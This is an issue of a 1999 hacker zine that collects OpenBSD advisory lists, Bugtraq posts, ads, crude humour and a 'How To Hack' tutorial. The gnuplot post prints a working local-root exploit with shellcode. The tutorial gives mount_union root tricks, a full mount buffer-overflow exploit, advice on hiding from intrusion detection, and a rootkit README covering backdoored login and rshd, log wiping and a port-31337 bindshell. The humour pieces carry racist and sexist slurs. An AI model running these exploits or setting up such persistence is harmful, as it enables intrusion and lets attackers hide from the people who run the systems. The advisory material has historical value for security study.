Jul 2, 1998: setuid and setgid processes should not be executed with fd slots 0, 1, or 2 free. (patch included).
August 31, 1998: A benign looking resolver buffer overflow bug was re-introduced accidentally (patches included).
June 6, 1998: Further problems with the X libraries (patches included).
June 4, 1998: on non-Intel i386 machines, any user can use pctr(4) to crash the machine.
May 17, 1998: kill(2) of setuid/setgid target processes too permissive (4th revision patch included).
May 11, 1998: mmap() permits partial bypassing of immutable and append-only file flags. (patch included).
May 1, 1998: Buffer overflow in xterm and Xaw (CERT advisory VB-98.04) (patch included).
May 5, 1998: Incorrect handling of IPSEC packets if IPSEC is enabled (patch included).
OpenBSD 2.2 Security Advisories
These are the OpenBSD 2.2 advisories. All these problems are solved in OpenBSD 2.3. Some of these problems still exist in other operating systems. (The supplied
patches are for OpenBSD 2.2; they may or may not work on OpenBSD 2.1).
May 5, 1998: Incorrect handling of IPSEC packets if IPSEC is enabled (patch included).
May 1, 1998: Buffer overflow in xterm and Xaw (CERT advisory VB-98.04) (patch included).
Apr 22, 1998: Buffer overflow in uucpd (patch included).
Apr 22, 1998: Buffer mismanagement in lprm (patch included).
Mar 31, 1998: Overflow in ping -R (patch included).
Mar 30, 1998: Overflow in named fake-iquery (patch included).
Mar 2, 1998: Accidental NFS filesystem export (patch included).
Feb 26, 1998: Read-write mmap() flaw. Revision 3 of the patch is available here
Feb 19, 1998: Sourcerouted Packet Acceptance. A patch is available here.
Feb 13, 1998: Setuid coredump & Ruserok() flaw (patch included).
Feb 9, 1998: MIPS ld.so flaw (patch included).
Dec 10, 1997: Intel P5 f00f lockup (patch included).
OpenBSD 2.1 Security Advisories
These are the OpenBSD 2.1 advisories. All these problems are solved in OpenBSD 2.2. Some of these problems still exist in other operating systems. (If you are
running OpenBSD 2.1, we would strongly recommend an upgrade to the newest release, as this patch list only attempts at fixing the most important security
problems. In particular, OpenBSD 2.2 fixes numerous localhost security problems. Many of those problems were solved in ways which make it hard for us to
provide patches).
Sep 15, 1997: Deviant Signals (patch included)
Aug 2, 1997: Rfork() system call flaw (patch included)
Jun 24, 1997: Procfs flaws (patch included)
Watching our Security Changes
Since we take a proactive stance with security, we are continually finding and fixing new security problems. Not all of these problems get widely reported because
(as stated earlier) many of them are not confirmed to be exploitable; many simple bugs we fix do turn out to have security consequences we could not predict. We
do not have the time resources to make these changes available in the above format.
Thus there are usually minor security fixes in the current source code beyond the previous major OpenBSD release. We make a limited guarantee that these
problems are of minimal impact and unproven exploitability. If we discover that a problem definitely matters for security, patches will show up here VERY quickly.
@HWA
34.0 Oracle is insecure at initial installation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from majestic.tcs.tulane.edu (majestic.tcs.tulane.edu [129.81.224.6])
by netspace.org (8.8.7/8.8.7) with ESMTP id QAA32299 for
<BUGTRAQ@netspace.org>; Thu, 4 Mar 1999 16:37:24 -0500
Received: from xftpd (h107.s156.tulane.edu [129.81.156.107]) by
majestic.tcs.tulane.edu (8.9.3/8.9.3) with SMTP id PAA09523 for
<BUGTRAQ@netspace.org>; Thu, 4 Mar 1999 15:36:58 -0600 (CST)
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Importance: Normal
Message-ID: <000201be6688$33466770$6b9c5181@xftpd.tulane.edu>
Date: Thu, 4 Mar 1999 15:44:37 -0600
Reply-To: James Kivisild <kivisild@MAILHOST.TCS.TULANE.EDU>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: James Kivisild <kivisild@MAILHOST.TCS.TULANE.EDU>
Subject: Oracle Plaintext Password
To: BUGTRAQ@netspace.org
I now know this has been mentioned before, however I've gotten a large
number of responses from people about Oracle problems similar to this. As a
first time Oracle installer, I didn't realize the scope of the problem. I
hope that upon reading this, more people will realize that the Default
settings under Oracle just aren't secure.
Original Post to NTBugtraq:
I apologize if this has been mentioned before, however I haven't had any
time to pursue this issue with any vigor.
I recently installed Oracle 8.0.3 Enterprise Edition on an NT 4.0
Workstation and I noticed a particular feature within Oracle Database
Assistant v1.0 that might be of some interest/concern.
During the creation of an Oracle database, the Database Assistant lets you
create either a custom or typical(default) database. If you select "custom"
database, you must enter a master password that controls the administrative
features in the database. If you select "typical", this password defaults to
'oracle'.
As the database is created, the Server Manager reports all activities to a
log file. This log file, "\orant\database\spoolmain.log", even logs the
master password as it connects to the server to continue the setup. The
entry is as follows:
Echo ON
SVRMGR> connect INTERNAL/MYPASSWORD
Connected.
Not only is this password in plaintext, but the file has permissions that
enable anyone to view it. (owned by Admins, but full control for everyone)
I believe the setup informs you that the file exists and should be checked
for errors, but I didn't find any other reference to it in the
documentation.
The log does get overwritten each time you create a new database, however
that just limits the number of plaintext passwords to one. Once again, I
haven't had time to look into this, but it seems like a potential problem
worth mentioning.
-James Kivisild
@HWA
35.0 GnuPlot buffer overflow exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from inferno.tusculum.edu (qmailr@inferno.tusculum.edu
[206.228.254.202]) by netspace.org (8.8.7/8.8.7) with SMTP id
QAA02678 for <bugtraq@netspace.org>; Thu, 4 Mar 1999 16:55:02 -0500
Received: (qmail 484 invoked by uid 1111); 4 Mar 1999 21:55:18 -0000
Message-ID: <19990304215518.483.qmail@inferno.tusculum.edu>
Date: Thu, 4 Mar 1999 21:55:18 -0000
Reply-To: xnec@INFERNO.TUSCULUM.EDU
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: xnec@INFERNO.TUSCULUM.EDU
Subject: Linux /usr/bin/gnuplot overflow
To: BUGTRAQ@netspace.org
greetings,
INFO:
There is a local root comprimise in /usr/bin/gnuplot version Linux version 3.5
(pre 3.6) patchlevel beta 336. gnuplot is shipped to install suidroot on
SuSE 5.2 and maybe others. The exploit starts as a simple $HOME buffer
overflow, but much like zgv holes in the past, it drops root privs before the
overflow occurs. However, as Nergal describes at
http://www.geek-girl.com/bugtraq/1998_4/0148.html, svgalib needs write access
to /dev/mem, and we can therefore regain root privs by overwriting our uid.
the offending code appears in plot.c where we see:
char home[80];
...
char *tmp_home=getenv(HOME);
...
strcpy(home,tmp_home);
EXPLOIT:
xnec_plot.c
---snip---
/*
gnuplot Linux x86 exploit from xnec
tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2
gnuplot ships suidroot by default in SuSE 5.2, maybe others
gcc -o xnec_plot xnec_plot.c
./xnec_plot <bufsiz> <offset>
The buffer we're overflowing is only 80 bytes, so we're going to have to
get our settings just so. If you don't feel like typing in command line
offsets and bufsizes, make a little shell script:
---
#! /bin/bash
bufsiz=110
offset=0
while [ $offset -lt 500 ]; do
./xnec_plot $bufsiz $offset
offset=`expr $offset + 10`
done
---
since gnuplot drops root privs after it inits your svga, we can't just exec
/bin/sh, we'll need to use the technique of replacing our saved uid
in /dev/mem with '0', then execing whatever we please. We do this by compiling
Nergal's program, mem.c and putting the output file in /tmp/xp, as in
gcc -o /tmp/xp mem.c. Nergal's program will then make /tmp/sh suidroot,
so don't forget to cp /bin/sh /tmp/sh. You will also have to change
line 32 to the correct address of kstat, which can be obtained by doing
strings /proc/ksyms | grep kstat.
Since I can see absolutely no reason for gnuplot to be suidroot, the best
fix is chmod -s /usr/bin/gnuplot.
greets to #sk1llz, xnec on EFnet and DALnet
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 50
#define DEFAULT_BUFSIZ 110
#define NOP 0x90
#define DEFAULT_ADDR 0xbffff81c
/* Aleph One's shellcode, modified to run our own program */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xp";
unsigned long getsp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buf, *ret;
long *addrp, addr;
int bufsiz, offset;
int i;
bufsiz=DEFAULT_BUFSIZ;
offset=DEFAULT_OFFSET;
if (argc = 2) bufsiz = atoi(argv[1]);
if (argc = 3) offset = atoi(argv[2]);
buf=malloc(bufsiz);
addr = getsp() - offset;
printf("address: 0x%x\n", addr);
printf("bufsize: %d\n", bufsiz);
printf("offset : %d\n", offset);
ret = buf;
addrp = (long *) ret;
for (i = 0; i < bufsiz; i+=4)
*(addrp++) = addr;
memset(buf, NOP, (strlen(shellcode)/2));
ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ret++) = shellcode[i];
buf[bufsiz - 1] = '\0';
memcpy(buf,"HOME=", 5);
setenv("HOME", buf, 1);
execvp("/usr/bin/gnuplot", NULL);
}
---snip---
mem.c
---snip---
/* by Nergal */
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid) /* is it our task_struct ? */
{
some_task.euid = 0;
some_task.fsuid = 0; /* needed for chown */
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/* from now on, there is no law beyond do what thou wilt */
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
main () /* by doing strings /proc/ksyms |grep kstat */
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3; /* presumed to be opened /dev/mem */
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
---snip---
FIX:
Since I see absolutely no good reason why gnuplot should be suidroot (who,
besides root, is going to run it, anyway?), I would recommend a simple
chmod -s /usr/bin/gnuplot. If you absolutely insist on suid, here's the patch:
--- plot.c.old Fri Mar 5 03:17:59 1999
+++ plot.c Fri Mar 5 03:29:19 1999
@@ -516,7 +516,7 @@
char c='\0';/* character that should be added, or \0, if none */
if(tmp_home) {
- strcpy(home,tmp_home);
+ strncpy(home,tmp_home,(sizeof(home) - 1));
if( strlen(home) ) p = &home[strlen(home)-1];
else p = home;
#if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) ||
defined(DOS386)
However, this by no means was a comprehensive security audit of gnuplot, so
there may very well be a dozen other problems I've not fixed.
-xnec
##################################################################
# xnec@inferno.tusculum.edu - xnec on IRC EF and DALnet #
##################################################################
@HWA
AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$
! !
$ $
! *** IT HAS BEEN FOUR YEARS! *** FREE KEVIN MITNICK NOW!!!! ** !
$ $
! !
$$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$
www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
m www.2600.com ########################################ww.2600.com www.freeke
vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick.
com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free
kevin.com www.k# FREE KEVIN! #in.com www.kevinmitnic
k.com www.2600.########################################om www.2600.com www.fre
ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
* www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
* JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
//////////////////////////////////////////////////////////////////////////////
// To place an ad in this section simply type it up and email it to //
// hwa@press,usmc.net, put AD! in the subject header please. - Ed //
//////////////////////////////////////////////////////////////////////////////
@HWA
HA.HA Humour and puzzles ...etc
~~~~~~~~~~~~~~~~~~~~~~~~~
It isn't by mere chance that "anal" is part of the word "analyst"
- Anonymous (Ex?)Analyst
"Its like my yo-yo, what made it special made it dangerous, so
I buried it ..."
- Kate Bush (Cloudbusting)
Seen on Doonesbury (as reported by HNN and Innerpulse.com) script
included below for completeness .... <:-p
Dad - "I Can't understand how anyone could break into our server
we just installed a new firewall!"
Girl - "Its easy Pop, anybody can hack these days, even newbies can
just pull kiddie scripts <sic> off the web and put an exploit
into play within seconds
Theres just no degree of difficulty anymore, half my computer
class has hacked into the Strategic Air Command."
Dad - "They WHAT!"
Girl - "To collect old launch codes. Its no big deal."
I still don't think Doonesbury is, was or ever will be, funny but to each
their own... - Ed
More humour from www.innerpulse.com;
SNET Consumer Tip Hotline
Contributed by siko
Tuesday - March 23, 1999. 05:36PM GMT
SNET Consumer Tip Hotline helps people with their everyday struggles.
Innerpulse President, siko, provides the inf0z for the heads up in the scene.
1-800-999-8477
2351 Portable Computers.
2352 Avoiding Viruses.
2354 It's Broken!
Innerpulse recommends 2352, Avoiding Viruses. It gives keen insight into the
dark world of computer viruses created by shady criminals on the fringe of the
web.
AntiOnline Saga Continues
Contributed by siko
Tuesday - March 23, 1999. 04:33AM GMT
Late last night, an expert panel of Innerpulse analysts reading through the
new AntiOnline mail bag were able to make several key insights as to the
organization and operation of AntiOnline.
Dan Martin, who was obviously leaked some inside information from
someone high up in the AntiOnline heirarchy, let the world know about the
disasters over at AntiOnline. Not only is the lobby messy, but AntiOnline gets
their news from what market experts are calling.. Innerpulse.com.
"I used the investment money to support my cocaine habit", boasted JP just
before he blasted Mexicans for being what he thinks as inferior to himself.
Other sections of the Mail Bag included racist remarks aimed at Brazilians,
Chinese, and Arabs (we can only assume he was knocking Arabs with the
bombing cracks).
"This is an outrage. How could he tear up so many different different people.
And worst of all he forgot to tear up the Japanese.", said a respected member
of the Internet community.
Also, Innerpulse CEO, Marvin Speling, has decided to contact the resident
Innerpulse Legal staff since it seems AntiOnline is what is legally termed as
"Crampin my style".
Innerpulse likes people of all race, creed, color, sex, age, and origin.
Undernet patrons excluded.
New Study Results: Only Idle on IRC
Contributed by siko
Sunday - March 21, 1999. 09:12PM GMT
Innerpulse.com spent time on Efnet and Undernet and picked up a thing or
two. Innerpulse has now learned that just because someone is idle for a week
on IRC doesn't mean your news page should idle for a week, as Innerpulse
Media Ltd. has concluded in a comprehensive study early this morning.
"Sometimes I idle on IRC for 2, 3 days at a time. The idea of idling elsewhere
on the Internet is new... ", commented an unknown Undernet IRC patron.
"But I guess it could be kind of elite..".
Among other areas explored by the small panel of hackers who tested internet
waters for over a week as a supplement to Gateway's study included IRC
relationships and an inside look at why hackers hack.
Innerpulse head janitor, Bobo Jensen, commented on his IRC relationship and
how it all fit in with his wildly successful life. Innerpulse Analyst, Mark
Winters, speculated on the future of online relationships: "We all know bitches
aint shit. What do you want me to say?"
AOL's security compromised
Contributed by blanco
Sunday - March 21, 1999. 08:01PM UTC
An 18-year-old high school dropout has been charged with computer
tampering after hacking into the internal computers of America Online and
altering some programs. The super k-rad hacker apparently exploited AOL's
main server by "Punting" it, which apparently it's servers cannot handle.
This AOL hacker did not return phone calls when Innerpulse contacted him
for further information.
AOL security expert Mark Winters made these comments, " It appears
after we upgraded all of our servers to Windows98 last week that we
didn't patch it to AOL standard. Fixing a punt attack like this one will
cost us about $50,000. In reality that isn't too much, since we charge our
customers $20.00 per m onth when they can barely use our service due
to busy signals." USA today
Flood Net has Local IRC'er's 'Shitting Bricks'
Contributed by siko
Tuesday - March 09, 1999. 09:17PM GMT
It was a calm, placid seeming Tuesday afternoon on the Internet. Thats
when what one channel member is calling 'an outbreak from hell' occured.
"I looked away to see what was on TV, and next thing I know, they were
filling our channel up. There were at least 20 of them", said one channel
member. The hacker and his channel wish to remain nameless. "Next thing I
know they were sending a msg to the channel saying 'owned!!!!!@@#$' all at
the same time. It's a really creative idea, when you think about it.".
What is known to expert IRC operators as a 'Flood Net', was at work
flooding the hacker channel. Innerpulse IRC expert Mark Winters was
contacted to help take some of the myth out of Flood Nets, to help the reader
understand just how vicious these attacks can be.
"Well, one of my fondest experiences was when I was talking to my bitch
online, and all of a sudden a bunch of fuckers with the same nick with a
different number appended to the end joined the channel and starting flooding.
I had to do something quick.", says Winters, who has several other such
experiences. "It wasn't for about.. say 3 months til I found a patch. It is to
type '/msg '. This eliminates the possibility of outside interference.".
The FloodNet that rocked this small Efnet IRC community earlier Tuesday
afternoon has left. Analysts speculate that everything will be back to normal
when the shock wears off.
@HWA
HOW.TO "How To Hack" March 1999 -> Part 2 (Step 5)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Intro from previous issue
~~~~~~~~~~~~~~~~~~~~~~~~~
This is not coincidentally next to the HA.HA section in the
HWA.hax0r.news zine in fact the name itself is a piss-take on the
"scene" (if you can't take the piss out of yourself you're taking
things way to seriously and won't survive 2 weeks out here) but its
a fact that anyone that puts out a zine like this has to deal with
and thats the endless messages and questions from 'newbies' asking
"HOW DO I HACK xxxx OS?" etc, well here's how you do it. I'll warn
you up front that i'm not going to be gentle and will be fucking
blunt with you, if you don't have the balls fuck off now you're dead
meat and will be minced and made a laughing stock all over the net,
if you think you can handle it then read on, this is an excersize
that is best learned by doing but do it on your own machine if you
try any of these things on someone elses box without any experience
you will end up in jail.
Step 5.
~~~~~~~
Breaking in.
Actually this consists of scanning for weaknesses first before any
real attempts are made at gaining entry. An adept admin or a savvy
network operations centre (NOC) will have scanner alarms set up to
identify possible threatening probes so this is another reason why
u want to do this on a home machine, the purpose after all is to
learn how to secure your own site by breaking into it as Dan Farmer
pointed out in his paper, you have read that right? no? then read
it now then continue here.
Common insecurities
~~~~~~~~~~~~~~~~~~~
There are almost as many ways to compromise a system as there are
programs that are available to run from shell. Almost every program
ever written has some sort of weakness or fallibility the most
common being the buffer overflow (read Smashing The Stack by Mudge)
this works by "popping the stack" with alien code using a benign
program such as sendmail to insert the code. Using sendmail has its
obvious merits because it can be accessed from outside the system
other entry points are rlogin, telnet, ftp, qpopper, among several
others, your scanner will have identified open ports, some may
surprise you, its amazing what people have running and often do not
even realize for instance backdoors left over from previous attacks
where the attacker is long gone and moved on to other systems.
Back to our own system, i'll use BSD in this example, using and old
copy of FreeBSD it was possible to gain root using a simple script
and the mount union command, by using vi or simply echo data >> script
it was possible (if you had a user account) to gain root priveledges
in a matter of seconds regardless of your group or access level.
<snip>
to get a root shell as an unpriveledged user use:
mkdir a
mkdir b
mount_union ~/a ~/b
mount_union -b ~/a ~/b
to get euid try this:
export PATH=/tmp:$PATH
echo /bin/sh >/tmp/modload
chmod +x /tmp/modload
mount_union /dir1 /dir2
<snip>
This worked on BSD up to version 2.0 STABLE
And here is an example of a mount exploit using the buffer overflow
method;
<snip>
/* Mount Exploit for Linux/FreeBSD, Jul 30 1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered and Coded by Bloodmask & Vio
Covin 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
<snip>
the above example requires that you have access to a compiler and
that is not always the case in a restricted shell environment, to
compile the above code copy it to mount.c and use gcc -o mountx
mount.c then run ./mountx to initiate the compromise, you will be
rewarded (in an unpatched system) with a root shell.
Once you have root you want to keep it unless you are doing a hit
and run or web server hack, for this you'll probably want to use
what is known as a ROOTKIT. The rootkit is a package that contains
various programs which have been patched (trojaned) to ensure that
if your initial entry has been found you can regain access by one
of the various methods included in the rootkit. Common trojaned
programs include su (which will track all user logins by the super
user (root user) and store or mail the logins and passwords to you
either in a local file or email, it is safer to store the passwords
in a local file which is hidden somewhere deep in the system than
to email the password changes to an email account as you can be
traced using the email method and it will show up in an IDS audit
(IDS=Intrusion Detection Software) most large sites and secure
sites will have some form of IDS running at regular intervals so
you may have to reinstall or be creative in your deployment of the
rootkit programs. create several copies of the programs on the system
and use innocuous names such as ./safe_backup for your programs, a
dumb sysadmin on a busy system may assume that these were left for
root compromise eventualities by another sysadmin. Other trojaned
files that are common in rootkits are obvious, telnet and ftp for
instance, will also store or email logins and passwords. A good
rootkit is available for most common unices and will usually also
contain a sniffer program.
Here is an example of the contents of a rootkit from a README for
a freebsd rootkit available around the net (try Packetstorm) this
was originally published in CRH (Confidence Remains High) an excellent
HPA zine, look for it and read it,a very good source for info.
<SNIP>
Ok.. I found this rootkit out on an ftp site somewhere. Anyway, when I got it, there was a bunch of compile errors and it seemed to be for an older version of freebsd. So, I took a new source tree from my box and copied the trojan code from this rootkit into it.. So, this rootkit should work on FreeBSD 2.2.5-RELEASE.
Ok.. I left out the following trojans and files:
chpass Trojaned! User->r00t
passwd Trojaned! User->r00t
zapbsd2 An improved utmp/wtmp/lastlog type zapper
tripwire Trojaned! Hide changes
but I put in:
marryv11.c good log cleaner.. i put a #define bsd in it
Enjoy,
humble - jmcdonal@unf.edu 1/15/98
Thanks to ducksquak, simpson and sygma for testing.
The
_____ ____ ____ ____
| ___| __ ___ ___| __ ) ___|| _ \
| |_ | '__/ _ \/ _ \ _ \___ \| | | |
| _|| | | __/ __/ |_) |__) | |_| |
|_| |_| \___|\___|____/____/|____/ rootkit 1.2 (1/27/97) by Method
NOTE: This package was heavily influenced by the existing Linux rootkit,
which in turn was adapted from the SunOS rootkit, etc., etc.
UPDATES: 1.0.1 - Fixed some broken Makefile stuff. Made it so inetd does
the right thing on a SIGHUP. Added some extra security to the shell trojans.
1.1 - Added tripwire trojan. Cleaned up some other stuff.
1.2 - Put a password on inetd (Thanks for the suggestion Whoot :)
This package includes the following:
chpass Trojaned! User->r00t
inetd Trojaned! Remote access
login Trojaned! Remote access
ls Trojaned! Hide files
du Trojaned! Hide files
ifconfig Trojaned! Hide sniffing
netstat Trojaned! Hide connections
passwd Trojaned! User->r00t
ps Trojaned! Hide processes
rshd Trojaned! Remote access
syslogd Trojaned! Hide logs
fix File fixer!
addlen File length fixer(!)
zapbsd2 An improved utmp/wtmp/lastlog type zapper
bindshell port/shell type daemon!
tripwire Trojaned! Hide changes
sniffit A kewl sniffz0r!
INSTALLATION:
To install this kit execute the command 'make all install' from the # prompt.
All of the file/password configurations are in config.h so feel free to
modify things to suit your particular fancy. Everything here has been
tested on a FreeBSD-stable distribution. See the note at the end about
what to do if the admin uses tripwire. Also make sure to read the
Makefile and scripts so you know what's going on.
USAGE:
OK I will go through how to use each program one by one. NOTE when I say
password I mean the rootkit password not your users password (d0h!). By
default the rootkit password is "h0tb0x".
chpass - Local user->root. Run ch{sh,fn,pass} then when it asks you
for a new name enter your password.
inetd - Binds a shell to a port for remote access. Adds a shell
exec service on the ingreslock port, type in the rootkit
password to start a shell.
login - Allows login to any account with the rootkit password.
If root login is refused on your terminal login as "r00t".
History logging is disabled if you login using your password.
ls - Trojaned to hide specified files and directories.
The default data file is /dev/ptyr.
All files can be listed with 'ls -/'.
The format of /dev/ptyr is:
ptyr
fbsdrootkit-1.0
pr0n
Use partial filenames. This would hide any files/directories
with the names ptyr, fbsdrootkit-1.0 and pr0n.
du - (see ls)
ifconfig - Modified to remove PROMISC flag on the ethernet device.
netstat - Modified to remove tcp/udp/sockets from or to specified
addresses, paths and ports.
default data file: /dev/ptyq
command 1: hide local address
command 2: hide remote address
command 3: hide local port
command 4: hide remote port
command 5: hide UNIX socket path
example:
1 128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000
4 6667 <- Hides all remote connections to port 6667
5 .term/socket <- Hides all UNIX sockets including the path
.term/socket
passwd - Local user->root. Enter your rootkit password instead of your
old password.
ps - Modified to remove specified processes.
Default data file is /dev/ptyp.
An example data file is as follows:
0 0 Strips all processes running under root
1 p0 Strips tty p0
2 sniffer Strips all programs with the name sniffer
Don't put in the comments, obviously.
rshd - Execute remote commands as root.
Usage: rsh -l rootkitpassword host command
i.e. rsh -l h0tb0x 0wn3d.escape.com /bin/sh -i
would start a root shell.
syslogd - Modified to remove specified strings from logging.
I thought of this one when I was on a system which logged
every connection.. I kept getting pissed off with editing
files every time I connected to remove my hostname. Then I
thought 'Hey dude, why not trojan syslogd?!' and the rest
is history. :)
Default data file is /dev/ptys
Example data file:
evil.com
123.100.101.202
rshd
This would remove all logs containing the strings evil.com,
123.100.101.202 and rshd. Smart! :))
sniffit - An advanced network sniffer. This is pretty kewl and has lots
of filtering options and other stuff. Useful for targetting a
single host or net. Sniffit uses ncurses.
bindshell - This is pretty self-explanatory. Basically it binds a
shell to a port, 31337 by default. Read the source on
this one.
fix - Replaces and fixes timestamp/checksum infomation on files.
I modified this a bit for my own uses and to fix a nasty bug
when replacing syslogd and inetd. The replacement file will
be erased by fix (unlike other versions).
addlen - This quickie modifies the length of files by adding
harmless zeros to the end. Wonder why nobody ever
thought of doing this before. Inspired by a stupid
security tool which checks lengths of setuid files.
zapbsd2 - This improved version of zapbsd writes over entries with
ones instead of zeros. I added some capabilities and
error checking so I raised the number.
TRIPWIRE:
I have done a major improvement of this part. Simply make tripwire and
the script will ask you a few questions and take action depending on your
responses. If both the database file and tripwire binary are read-only
then there is nothing you can do.
SOURCES:
Some of these patches are derived from the original SunOS rootkit. ls,
du, ps, netstat and chpass were done by yours truly. Anything else came
from the Linux rootkit with a few modifications. The idea for tripwire
was my own.
OTHER:
I welcome all comments and questions at method@yikes.com. All complaints
and flames will be sent to /dev/null.
Thanks to OGhost and Phelix for beta testing and advice.
In closing, this kit can only take you so far. Although it covers almost
everything, a competent sysadmin will eventually catch on. Remember,
never let your guard down.
-M
<SNIP>
Packet Sniffing
~~~~~~~~~~~~~~~
